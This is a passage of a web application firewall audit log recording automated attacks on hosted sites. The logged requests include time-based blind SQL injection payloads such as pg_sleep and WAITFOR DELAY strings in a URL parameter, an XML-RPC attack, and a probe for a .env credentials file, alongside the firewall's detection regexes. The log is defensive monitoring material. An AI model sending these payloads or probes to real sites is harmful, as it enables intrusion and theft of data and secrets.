"[\\[\\]\\x22',()\\.]{10}$|\\b(?:union\\sall\\sselect\\s(?:(?:null|\\d+),?)+|order\\sby\\s\\d{1,4}|(?:and|or)\\s\\d{4}=\\d{4}|waitfor\\sdelay\\s'\\d+:\\d+:\\d+'|(?:select|and|or)\\s(?:(?:pg_)?sleep\\(\\d+\\)|\\d+\\s?=\\s?(?:dbms_pipe\\.receive_message\\ ..." at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/22_SQL_SQLi.conf"] [line "66"] [id "218500"] [rev "18"] [msg "COMODO WAF: SQLmap attack detected||www.getcalley.com|F|2"] [data "Matched Data: select pg_sleep(5)-- found within REQUEST_URI: /login-now/?utm_source=website&utm_medium=top-bar&utm_campaign=login-now';select pg_sleep(5)--"] [severity "CRITICAL"] [tag "CWAF"] [tag "SQLi"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Pattern match "(?i:(?:[\\\\\\\\x22'`](?:;? ?\\\\\\\\b(?:having|select|union)\\\\\\\\b ?[^\\\\\\\\s]| ?! ?[\\\\\\\\x22'`\\\\\\\\w])|\\\\\\\\b(?:c(?:onnection_id|urrent_user)|database)\\\\\\\\b ?\\\\\\\\(|\\\\\\\\bunion\\\\\\\\b[\\\\\\\\w(\\\\\\\\s]*?select\\\\\\\\b|\\\\\\\\buser ?\\\\\\\\(|\\\\\\\\bschema ?\\\\\\\\(|\\\\\\\\bselect.{0,399}?\\\\\\\\w?\\\\\\\\buser ?\\\\\\\\(|\\\\\\\\binto[\\\\\\\\s+]+(?:dump|o ..." at MATCHED_VAR. [file "/etc/apache2/modsecurity.d/rules/comodo_free/22_SQL_SQLi.conf"] [line "27"] [id "211650"] [rev "12"] [msg "COMODO WAF: Detects MSSQL code execution and information gathering attempts||www.getcalley.com|F|2"] [data "Matched Data: login-now';SELECT PG_SLEEP(5) found within MATCHED_VAR: login-now';SELECT PG_SLEEP(5)"] [severity "CRITICAL"] [tag "CWAF"] [tag "SQLi"] [hostname "www.getcalley.com"] [uri "/login-now/"] [unique_id "aE89p9kGqt_oHz6gRVdJKgAAAAw"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Pattern match "(?i:(?:select\\\\\\\\s*?pg_sleep)|(?:waitfor\\\\\\\\s*?delay\\\\\\\\s?[\\\\\\\\x22'`]+\\\\\\\\s?\\\\\\\\d)|(?:;\\\\\\\\s*?shutdown\\\\\\\\s*?(?:;|--|#|\\\\\\\\/\\\\\\\\*|{)))" at MATCHED_VAR. [file "/etc/apache2/modsecurity.d/rules/comodo_free/22_SQL_SQLi.conf"] [line "50"] [id "211750"] [rev "4"] [msg "COMODO WAF: Detects Postgres pg_sleep injection, waitfor delay attacks and database shutdown attempts||www.getcalley.com|F|2"] [data "Matched Data: login-now';SELECT PG_SLEEP(5)-- found within MATCHED_VAR"] [severity "CRITICAL"] [tag "CWAF"] [tag "SQLi"] [hostname "www.getcalley.com"] [uri "/login-now/"] [unique_id "aE89p9kGqt_oHz6gRVdJKgAAAAw"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Pattern match "(?i:(?:; ?(?:(?:(?:trunc|cre|upd)at|renam)e|(?:inser|selec)t|de(?:lete|sc)|alter|load) ?[\\\\\\\\[(]?\\\\\\\\b\\\\\\\\w{2,}|\\\\\\\\bcreate function .+ returns\\\\\\\\b))" at ARGS:utm_campaign. [file "/etc/apache2/modsecurity.d/rules/comodo_free/22_SQL_SQLi.conf"] [line "63"] [id "211820"] [rev "4"] [msg "COMODO WAF: Detects MySQL UDF injection and other data/structure manipulation attempts||www.getcalley.com|F|2"] [data "Matched Data: ;SELECT PG_SLEEP found within ARGS:utm_campaign: login-now';SELECT PG_SLEEP(5)"] [severity "CRITICAL"] [tag "CWAF"] [tag "SQLi"] [hostname "www.getcalley.com"] [uri "/login-now/"] [unique_id "aE89p9kGqt_oHz6gRVdJKgAAAAw"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Pattern match "[\\\\\\\\[\\\\\\\\]\\\\\\\\x22',()\\\\\\\\.]{10}$|\\\\\\\\b(?:union\\\\\\\\sall\\\\\\\\sselect\\\\\\\\s(?:(?:null|\\\\\\\\d+),?)+|order\\\\\\\\sby\\\\\\\\s\\\\\\\\d{1,4}|(?:and|or)\\\\\\\\s\\\\\\\\d{4}=\\\\\\\\d{4}|waitfor\\\\\\\\sdelay\\\\\\\\s'\\\\\\\\d+:\\\\\\\\d+:\\\\\\\\d+'|(?:select|and|or)\\\\\\\\s(?:(?:pg_)?sleep\\\\\\\\(\\\\\\\\d+\\\\\\\\)|\\\\\\\\d+\\\\\\\\s?=\\\\\\\\s?(?:dbms_pipe\\\\\\\\.receive_message\\\\\\\\ ..." at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/22_SQL_SQLi.conf"] [line "66"] [id "218500"] [rev "18"] [msg "COMODO WAF: SQLmap attack detected||www.getcalley.com|F|2"] [data "Matched Data: select pg_sleep(5)-- found within REQUEST_URI: /login-now/?utm_source=website&utm_medium=top-bar&utm_campaign=login-now';select pg_sleep(5)--"] [severity "CRITICAL"] [tag "CWAF"] [tag "SQLi"] [hostname "www.getcalley.com"] [uri "/login-now/"] [unique_id "aE89p9kGqt_oHz6gRVdJKgAAAAw"] Apache-Handler: proxy:unix:/var/www/vhosts/system/getcalley.com/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750023591859208 212862 (- - -) Stopwatch2: 1750023591859208 212862; combined=3834, p1=334, p2=3218, p3=0, p4=0, p5=282, sr=82, sw=0, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --20f7dd54-Z-- --1b247c14-A-- [16/Jun/2025:03:09:53.442844 +0530] aE89qbsEVBap6l1Fvp1APgAAAAQ 172.71.164.220 37928 127.0.0.1 7081 --1b247c14-B-- GET /login-now/?utm_source=website&utm_medium=top-bar&utm_campaign=login-now%29%3BWAITFOR%20DELAY%20%270%3A0%3A5%27-- HTTP/1.0 Host: www.getcalley.com X-Real-IP: 172.71.164.220 X-Forwarded-For: 91.92.46.79 Connection: close cache-control: no-cache accept-encoding: gzip, br accept: */* cf-ray: 950538ffcaa1d2da-FRA cf-ipcountry: DE user-agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; hu; rv:1.9.2.3) Gecko/20100401 Firefox/3.6.3 GTB7.1 cf-visitor: {"scheme":"https"} x-forwarded-proto: https cdn-loop: cloudflare; loops=1 cf-connecting-ip: 91.92.46.79 cookie: csrf_https-contao_csrf_token=PrcpxRe_k0dInSFlk5XWc0ikSk91StIwIVtJ_cNkHyo --1b247c14-F-- HTTP/1.1 301 Moved Permanently X-Powered-By: PHP/8.2.28 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0, no-store, private Link: <https://cdn.gtranslate.net/>; rel=dns-prefetch X-Redirect-By: Rank Math Location: https://app.getcalley.com/login.aspx?utm_source=website&utm_medium=top-bar&utm_campaign=login-now);WAITFOR%20DELAY%200:0:5-- Vary: Accept-Encoding Content-Length: 0 Connection: close Content-Type: text/html; charset=UTF-8 --1b247c14-H-- Message: Warning. Match of "contains /wp-json/yoast/" against "REQUEST_URI" required. [file "/etc/apache2/modsecurity.d/rules/comodo_free/22_SQL_SQLi.conf"] [line "17"] [id "211540"] [rev "14"] [msg "COMODO WAF: Blind SQL Injection Attack||www.getcalley.com|F|2"] [data "Matched Data: WAITFOR DELAY found within REQUEST_URI: /login-now/?utm_source=website&utm_medium=top-bar&utm_campaign=login-now%29%3BWAITFOR%20DELAY%20%270%3A0%3A5%27--"] [severity "CRITICAL"] [tag "CWAF"] [tag "SQLi"] Message: Warning. Pattern match "(?i:(?:select\\s*?pg_sleep)|(?:waitfor\\s*?delay\\s?[\\x22'`]+\\s?\\d)|(?:;\\s*?shutdown\\s*?(?:;|--|#|\\/\\*|{)))" at MATCHED_VAR. [file "/etc/apache2/modsecurity.d/rules/comodo_free/22_SQL_SQLi.conf"] [line "50"] [id "211750"] [rev "4"] [msg "COMODO WAF: Detects Postgres pg_sleep injection, waitfor delay attacks and database shutdown attempts||www.getcalley.com|F|2"] [data "Matched Data: login-now);WAITFOR DELAY '0:0:5'-- found within MATCHED_VAR"] [severity "CRITICAL"] [tag "CWAF"] [tag "SQLi"] Message: Warning. Pattern match "[\\[\\]\\x22',()\\.]{10}$|\\b(?:union\\sall\\sselect\\s(?:(?:null|\\d+),?)+|order\\sby\\s\\d{1,4}|(?:and|or)\\s\\d{4}=\\d{4}|waitfor\\sdelay\\s'\\d+:\\d+:\\d+'|(?:select|and|or)\\s(?:(?:pg_)?sleep\\(\\d+\\)|\\d+\\s?=\\s?(?:dbms_pipe\\.receive_message\\ ..." at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/22_SQL_SQLi.conf"] [line "66"] [id "218500"] [rev "18"] [msg "COMODO WAF: SQLmap attack detected||www.getcalley.com|F|2"] [data "Matched Data: waitfor delay '0:0:5'-- found within REQUEST_URI: /login-now/?utm_source=website&utm_medium=top-bar&utm_campaign=login-now);waitfor delay '0:0:5'--"] [severity "CRITICAL"] [tag "CWAF"] [tag "SQLi"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Match of "contains /wp-json/yoast/" against "REQUEST_URI" required. [file "/etc/apache2/modsecurity.d/rules/comodo_free/22_SQL_SQLi.conf"] [line "17"] [id "211540"] [rev "14"] [msg "COMODO WAF: Blind SQL Injection Attack||www.getcalley.com|F|2"] [data "Matched Data: WAITFOR DELAY found within REQUEST_URI: /login-now/?utm_source=website&utm_medium=top-bar&utm_campaign=login-now%29%3BWAITFOR%20DELAY%20%270%3A0%3A5%27--"] [severity "CRITICAL"] [tag "CWAF"] [tag "SQLi"] [hostname "www.getcalley.com"] [uri "/login-now/"] [unique_id "aE89qbsEVBap6l1Fvp1APgAAAAQ"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Pattern match "(?i:(?:select\\\\\\\\s*?pg_sleep)|(?:waitfor\\\\\\\\s*?delay\\\\\\\\s?[\\\\\\\\x22'`]+\\\\\\\\s?\\\\\\\\d)|(?:;\\\\\\\\s*?shutdown\\\\\\\\s*?(?:;|--|#|\\\\\\\\/\\\\\\\\*|{)))" at MATCHED_VAR. [file "/etc/apache2/modsecurity.d/rules/comodo_free/22_SQL_SQLi.conf"] [line "50"] [id "211750"] [rev "4"] [msg "COMODO WAF: Detects Postgres pg_sleep injection, waitfor delay attacks and database shutdown attempts||www.getcalley.com|F|2"] [data "Matched Data: login-now);WAITFOR DELAY '0:0:5'-- found within MATCHED_VAR"] [severity "CRITICAL"] [tag "CWAF"] [tag "SQLi"] [hostname "www.getcalley.com"] [uri "/login-now/"] [unique_id "aE89qbsEVBap6l1Fvp1APgAAAAQ"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Pattern match "[\\\\\\\\[\\\\\\\\]\\\\\\\\x22',()\\\\\\\\.]{10}$|\\\\\\\\b(?:union\\\\\\\\sall\\\\\\\\sselect\\\\\\\\s(?:(?:null|\\\\\\\\d+),?)+|order\\\\\\\\sby\\\\\\\\s\\\\\\\\d{1,4}|(?:and|or)\\\\\\\\s\\\\\\\\d{4}=\\\\\\\\d{4}|waitfor\\\\\\\\sdelay\\\\\\\\s'\\\\\\\\d+:\\\\\\\\d+:\\\\\\\\d+'|(?:select|and|or)\\\\\\\\s(?:(?:pg_)?sleep\\\\\\\\(\\\\\\\\d+\\\\\\\\)|\\\\\\\\d+\\\\\\\\s?=\\\\\\\\s?(?:dbms_pipe\\\\\\\\.receive_message\\\\\\\\ ..." at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/22_SQL_SQLi.conf"] [line "66"] [id "218500"] [rev "18"] [msg "COMODO WAF: SQLmap attack detected||www.getcalley.com|F|2"] [data "Matched Data: waitfor delay '0:0:5'-- found within REQUEST_URI: /login-now/?utm_source=website&utm_medium=top-bar&utm_campaign=login-now);waitfor delay '0:0:5'--"] [severity "CRITICAL"] [tag "CWAF"] [tag "SQLi"] [hostname "www.getcalley.com"] [uri "/login-now/"] [unique_id "aE89qbsEVBap6l1Fvp1APgAAAAQ"] Apache-Handler: proxy:unix:/var/www/vhosts/system/getcalley.com/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750023593233644 209301 (- - -) Stopwatch2: 1750023593233644 209301; combined=5322, p1=457, p2=4673, p3=0, p4=0, p5=191, sr=127, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --1b247c14-Z-- --35417056-A-- [16/Jun/2025:03:09:54.339458 +0530] aE89qfkun2jazaBvM9tuNwAAAAE 128.199.112.101 37958 127.0.0.1 7081 --35417056-B-- POST //xmlrpc.php HTTP/1.0 Host: best-website-designs.com X-Real-IP: 128.199.112.101 X-Accel-Internal: /internal-nginx-static-location Connection: close Content-Length: 488 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36 Content-Type: application/xml --35417056-F-- HTTP/1.1 200 OK X-Powered-By: PHP/8.3.22 Connection: close Vary: Accept-Encoding Content-Type: text/xml; charset=UTF-8 --35417056-H-- Message: Warning. Operator EQ matched 0 at IP. [file "/etc/apache2/modsecurity.d/rules/comodo_free/30_Apps_OtherApps.conf"] [line "5956"] [id "240335"] [rev "5"] [msg "COMODO WAF: XML-RPC Attack Identified (CVE-2013-0235)|Source 128.199.112.101 (50+1 hits since last alert)|best-website-designs.com|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "OtherApps"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Operator EQ matched 0 at IP. [file "/etc/apache2/modsecurity.d/rules/comodo_free/30_Apps_OtherApps.conf"] [line "5956"] [id "240335"] [rev "5"] [msg "COMODO WAF: XML-RPC Attack Identified (CVE-2013-0235)|Source 128.199.112.101 (50+1 hits since last alert)|best-website-designs.com|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "OtherApps"] [hostname "best-website-designs.com"] [uri "/xmlrpc.php"] [unique_id "aE89qfkun2jazaBvM9tuNwAAAAE"] Apache-Handler: proxy:unix:/var/www/vhosts/system/best-website-designs.com/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750023593424677 914836 (- - -) Stopwatch2: 1750023593424677 914836; combined=2650, p1=446, p2=1779, p3=44, p4=65, p5=210, sr=114, sw=106, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --35417056-Z-- --5bcd7442-A-- [16/Jun/2025:03:09:54.604318 +0530] aE89qlR6EeXjkGzEkbllDwAAAAs 162.158.95.55 37988 127.0.0.1 7081 --5bcd7442-B-- GET /login-now/?utm_source=website&utm_medium=top-bar&utm_campaign=login-now%3BWAITFOR%20DELAY%20%270%3A0%3A5%27-- HTTP/1.0 Host: www.getcalley.com X-Real-IP: 162.158.95.55 X-Forwarded-For: 91.92.46.79 Connection: close cache-control: no-cache accept-encoding: gzip, br accept: */* cf-ray: 950539071ba33a6e-FRA cf-ipcountry: DE user-agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; hu; rv:1.9.2.3) Gecko/20100401 Firefox/3.6.3 GTB7.1 cf-visitor: {"scheme":"https"} x-forwarded-proto: https cdn-loop: cloudflare; loops=1 cf-connecting-ip: 91.92.46.79 cookie: csrf_https-contao_csrf_token=PrcpxRe_k0dInSFlk5XWc0ikSk91StIwIVtJ_cNkHyo --5bcd7442-F-- HTTP/1.1 301 Moved Permanently X-Powered-By: PHP/8.2.28 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0, no-store, private Link: <https://cdn.gtranslate.net/>; rel=dns-prefetch X-Redirect-By: Rank Math Location: https://app.getcalley.com/login.aspx?utm_source=website&utm_medium=top-bar&utm_campaign=login-now;WAITFOR%20DELAY%200:0:5-- Vary: Accept-Encoding Content-Length: 0 Connection: close Content-Type: text/html; charset=UTF-8 --5bcd7442-H-- Message: Warning. Match of "contains /wp-json/yoast/" against "REQUEST_URI" required. [file "/etc/apache2/modsecurity.d/rules/comodo_free/22_SQL_SQLi.conf"] [line "17"] [id "211540"] [rev "14"] [msg "COMODO WAF: Blind SQL Injection Attack||www.getcalley.com|F|2"] [data "Matched Data: WAITFOR DELAY found within REQUEST_URI: /login-now/?utm_source=website&utm_medium=top-bar&utm_campaign=login-now%3BWAITFOR%20DELAY%20%270%3A0%3A5%27--"] [severity "CRITICAL"] [tag "CWAF"] [tag "SQLi"] Message: Warning. Pattern match "(?i:(?:select\\s*?pg_sleep)|(?:waitfor\\s*?delay\\s?[\\x22'`]+\\s?\\d)|(?:;\\s*?shutdown\\s*?(?:;|--|#|\\/\\*|{)))" at MATCHED_VAR. [file "/etc/apache2/modsecurity.d/rules/comodo_free/22_SQL_SQLi.conf"] [line "50"] [id "211750"] [rev "4"] [msg "COMODO WAF: Detects Postgres pg_sleep injection, waitfor delay attacks and database shutdown attempts||www.getcalley.com|F|2"] [data "Matched Data: login-now;WAITFOR DELAY '0:0:5'-- found within MATCHED_VAR"] [severity "CRITICAL"] [tag "CWAF"] [tag "SQLi"] Message: Warning. Pattern match "[\\[\\]\\x22',()\\.]{10}$|\\b(?:union\\sall\\sselect\\s(?:(?:null|\\d+),?)+|order\\sby\\s\\d{1,4}|(?:and|or)\\s\\d{4}=\\d{4}|waitfor\\sdelay\\s'\\d+:\\d+:\\d+'|(?:select|and|or)\\s(?:(?:pg_)?sleep\\(\\d+\\)|\\d+\\s?=\\s?(?:dbms_pipe\\.receive_message\\ ..." at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/22_SQL_SQLi.conf"] [line "66"] [id "218500"] [rev "18"] [msg "COMODO WAF: SQLmap attack detected||www.getcalley.com|F|2"] [data "Matched Data: waitfor delay '0:0:5'-- found within REQUEST_URI: /login-now/?utm_source=website&utm_medium=top-bar&utm_campaign=login-now;waitfor delay '0:0:5'--"] [severity "CRITICAL"] [tag "CWAF"] [tag "SQLi"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Match of "contains /wp-json/yoast/" against "REQUEST_URI" required. [file "/etc/apache2/modsecurity.d/rules/comodo_free/22_SQL_SQLi.conf"] [line "17"] [id "211540"] [rev "14"] [msg "COMODO WAF: Blind SQL Injection Attack||www.getcalley.com|F|2"] [data "Matched Data: WAITFOR DELAY found within REQUEST_URI: /login-now/?utm_source=website&utm_medium=top-bar&utm_campaign=login-now%3BWAITFOR%20DELAY%20%270%3A0%3A5%27--"] [severity "CRITICAL"] [tag "CWAF"] [tag "SQLi"] [hostname "www.getcalley.com"] [uri "/login-now/"] [unique_id "aE89qlR6EeXjkGzEkbllDwAAAAs"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Pattern match "(?i:(?:select\\\\\\\\s*?pg_sleep)|(?:waitfor\\\\\\\\s*?delay\\\\\\\\s?[\\\\\\\\x22'`]+\\\\\\\\s?\\\\\\\\d)|(?:;\\\\\\\\s*?shutdown\\\\\\\\s*?(?:;|--|#|\\\\\\\\/\\\\\\\\*|{)))" at MATCHED_VAR. [file "/etc/apache2/modsecurity.d/rules/comodo_free/22_SQL_SQLi.conf"] [line "50"] [id "211750"] [rev "4"] [msg "COMODO WAF: Detects Postgres pg_sleep injection, waitfor delay attacks and database shutdown attempts||www.getcalley.com|F|2"] [data "Matched Data: login-now;WAITFOR DELAY '0:0:5'-- found within MATCHED_VAR"] [severity "CRITICAL"] [tag "CWAF"] [tag "SQLi"] [hostname "www.getcalley.com"] [uri "/login-now/"] [unique_id "aE89qlR6EeXjkGzEkbllDwAAAAs"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Pattern match "[\\\\\\\\[\\\\\\\\]\\\\\\\\x22',()\\\\\\\\.]{10}$|\\\\\\\\b(?:union\\\\\\\\sall\\\\\\\\sselect\\\\\\\\s(?:(?:null|\\\\\\\\d+),?)+|order\\\\\\\\sby\\\\\\\\s\\\\\\\\d{1,4}|(?:and|or)\\\\\\\\s\\\\\\\\d{4}=\\\\\\\\d{4}|waitfor\\\\\\\\sdelay\\\\\\\\s'\\\\\\\\d+:\\\\\\\\d+:\\\\\\\\d+'|(?:select|and|or)\\\\\\\\s(?:(?:pg_)?sleep\\\\\\\\(\\\\\\\\d+\\\\\\\\)|\\\\\\\\d+\\\\\\\\s?=\\\\\\\\s?(?:dbms_pipe\\\\\\\\.receive_message\\\\\\\\ ..." at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/22_SQL_SQLi.conf"] [line "66"] [id "218500"] [rev "18"] [msg "COMODO WAF: SQLmap attack detected||www.getcalley.com|F|2"] [data "Matched Data: waitfor delay '0:0:5'-- found within REQUEST_URI: /login-now/?utm_source=website&utm_medium=top-bar&utm_campaign=login-now;waitfor delay '0:0:5'--"] [severity "CRITICAL"] [tag "CWAF"] [tag "SQLi"] [hostname "www.getcalley.com"] [uri "/login-now/"] [unique_id "aE89qlR6EeXjkGzEkbllDwAAAAs"] Apache-Handler: proxy:unix:/var/www/vhosts/system/getcalley.com/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750023594391545 212900 (- - -) Stopwatch2: 1750023594391545 212900; combined=3937, p1=338, p2=3373, p3=0, p4=0, p5=226, sr=91, sw=0, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --5bcd7442-Z-- --a324c20d-A-- [16/Jun/2025:03:09:55.579293 +0530] aE89q32GhYywD7zZgx76WQAAAAM 172.71.164.224 38046 127.0.0.1 7081 --a324c20d-B-- GET /login-now/?utm_source=website&utm_medium=top-bar&utm_campaign=login-now%27%29%3BWAITFOR%20DELAY%20%270%3A0%3A5%27-- HTTP/1.0 Host: www.getcalley.com X-Real-IP: 172.71.164.224 X-Forwarded-For: 91.92.46.79 Connection: close cache-control: no-cache accept-encoding: gzip, br accept: */* cf-ray: 9505390d39ccd2fa-FRA cf-ipcountry: DE user-agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; hu; rv:1.9.2.3) Gecko/20100401 Firefox/3.6.3 GTB7.1 cf-visitor: {"scheme":"https"} x-forwarded-proto: https cdn-loop: cloudflare; loops=1 cf-connecting-ip: 91.92.46.79 cookie: csrf_https-contao_csrf_token=PrcpxRe_k0dInSFlk5XWc0ikSk91StIwIVtJ_cNkHyo --a324c20d-F-- HTTP/1.1 301 Moved Permanently X-Powered-By: PHP/8.2.28 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0, no-store, private Link: <https://cdn.gtranslate.net/>; rel=dns-prefetch X-Redirect-By: Rank Math Location: https://app.getcalley.com/login.aspx?utm_source=website&utm_medium=top-bar&utm_campaign=login-now);WAITFOR%20DELAY%200:0:5-- Vary: Accept-Encoding Content-Length: 0 Connection: close Content-Type: text/html; charset=UTF-8 --a324c20d-H-- Message: Warning. Match of "contains /wp-json/yoast/" against "REQUEST_URI" required. [file "/etc/apache2/modsecurity.d/rules/comodo_free/22_SQL_SQLi.conf"] [line "17"] [id "211540"] [rev "14"] [msg "COMODO WAF: Blind SQL Injection Attack||www.getcalley.com|F|2"] [data "Matched Data: WAITFOR DELAY found within REQUEST_URI: /login-now/?utm_source=website&utm_medium=top-bar&utm_campaign=login-now%27%29%3BWAITFOR%20DELAY%20%270%3A0%3A5%27--"] [severity "CRITICAL"] [tag "CWAF"] [tag "SQLi"] Message: Warning. Pattern match "(?i:(?:select\\s*?pg_sleep)|(?:waitfor\\s*?delay\\s?[\\x22'`]+\\s?\\d)|(?:;\\s*?shutdown\\s*?(?:;|--|#|\\/\\*|{)))" at MATCHED_VAR. [file "/etc/apache2/modsecurity.d/rules/comodo_free/22_SQL_SQLi.conf"] [line "50"] [id "211750"] [rev "4"] [msg "COMODO WAF: Detects Postgres pg_sleep injection, waitfor delay attacks and database shutdown attempts||www.getcalley.com|F|2"] [data "Matched Data: login-now');WAITFOR DELAY '0:0:5'-- found within MATCHED_VAR"] [severity "CRITICAL"] [tag "CWAF"] [tag "SQLi"] Message: Warning. Pattern match "[\\[\\]\\x22',()\\.]{10}$|\\b(?:union\\sall\\sselect\\s(?:(?:null|\\d+),?)+|order\\sby\\s\\d{1,4}|(?:and|or)\\s\\d{4}=\\d{4}|waitfor\\sdelay\\s'\\d+:\\d+:\\d+'|(?:select|and|or)\\s(?:(?:pg_)?sleep\\(\\d+\\)|\\d+\\s?=\\s?(?:dbms_pipe\\.receive_message\\ ..." at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/22_SQL_SQLi.conf"] [line "66"] [id "218500"] [rev "18"] [msg "COMODO WAF: SQLmap attack detected||www.getcalley.com|F|2"] [data "Matched Data: waitfor delay '0:0:5'-- found within REQUEST_URI: /login-now/?utm_source=website&utm_medium=top-bar&utm_campaign=login-now');waitfor delay '0:0:5'--"] [severity "CRITICAL"] [tag "CWAF"] [tag "SQLi"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Match of "contains /wp-json/yoast/" against "REQUEST_URI" required. [file "/etc/apache2/modsecurity.d/rules/comodo_free/22_SQL_SQLi.conf"] [line "17"] [id "211540"] [rev "14"] [msg "COMODO WAF: Blind SQL Injection Attack||www.getcalley.com|F|2"] [data "Matched Data: WAITFOR DELAY found within REQUEST_URI: /login-now/?utm_source=website&utm_medium=top-bar&utm_campaign=login-now%27%29%3BWAITFOR%20DELAY%20%270%3A0%3A5%27--"] [severity "CRITICAL"] [tag "CWAF"] [tag "SQLi"] [hostname "www.getcalley.com"] [uri "/login-now/"] [unique_id "aE89q32GhYywD7zZgx76WQAAAAM"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Pattern match "(?i:(?:select\\\\\\\\s*?pg_sleep)|(?:waitfor\\\\\\\\s*?delay\\\\\\\\s?[\\\\\\\\x22'`]+\\\\\\\\s?\\\\\\\\d)|(?:;\\\\\\\\s*?shutdown\\\\\\\\s*?(?:;|--|#|\\\\\\\\/\\\\\\\\*|{)))" at MATCHED_VAR. [file "/etc/apache2/modsecurity.d/rules/comodo_free/22_SQL_SQLi.conf"] [line "50"] [id "211750"] [rev "4"] [msg "COMODO WAF: Detects Postgres pg_sleep injection, waitfor delay attacks and database shutdown attempts||www.getcalley.com|F|2"] [data "Matched Data: login-now');WAITFOR DELAY '0:0:5'-- found within MATCHED_VAR"] [severity "CRITICAL"] [tag "CWAF"] [tag "SQLi"] [hostname "www.getcalley.com"] [uri "/login-now/"] [unique_id "aE89q32GhYywD7zZgx76WQAAAAM"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Pattern match "[\\\\\\\\[\\\\\\\\]\\\\\\\\x22',()\\\\\\\\.]{10}$|\\\\\\\\b(?:union\\\\\\\\sall\\\\\\\\sselect\\\\\\\\s(?:(?:null|\\\\\\\\d+),?)+|order\\\\\\\\sby\\\\\\\\s\\\\\\\\d{1,4}|(?:and|or)\\\\\\\\s\\\\\\\\d{4}=\\\\\\\\d{4}|waitfor\\\\\\\\sdelay\\\\\\\\s'\\\\\\\\d+:\\\\\\\\d+:\\\\\\\\d+'|(?:select|and|or)\\\\\\\\s(?:(?:pg_)?sleep\\\\\\\\(\\\\\\\\d+\\\\\\\\)|\\\\\\\\d+\\\\\\\\s?=\\\\\\\\s?(?:dbms_pipe\\\\\\\\.receive_message\\\\\\\\ ..." at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/22_SQL_SQLi.conf"] [line "66"] [id "218500"] [rev "18"] [msg "COMODO WAF: SQLmap attack detected||www.getcalley.com|F|2"] [data "Matched Data: waitfor delay '0:0:5'-- found within REQUEST_URI: /login-now/?utm_source=website&utm_medium=top-bar&utm_campaign=login-now');waitfor delay '0:0:5'--"] [severity "CRITICAL"] [tag "CWAF"] [tag "SQLi"] [hostname "www.getcalley.com"] [uri "/login-now/"] [unique_id "aE89q32GhYywD7zZgx76WQAAAAM"] Apache-Handler: proxy:unix:/var/www/vhosts/system/getcalley.com/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750023595373258 206132 (- - -) Stopwatch2: 1750023595373258 206132; combined=5103, p1=442, p2=4466, p3=0, p4=0, p5=194, sr=116, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --a324c20d-Z-- --be588118-A-- [16/Jun/2025:03:09:56.362597 +0530] aE89q_kun2jazaBvM9tuOAAAAAE 185.177.72.210 38074 127.0.0.1 7081 --be588118-B-- GET /:9000/en/.env HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --be588118-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, 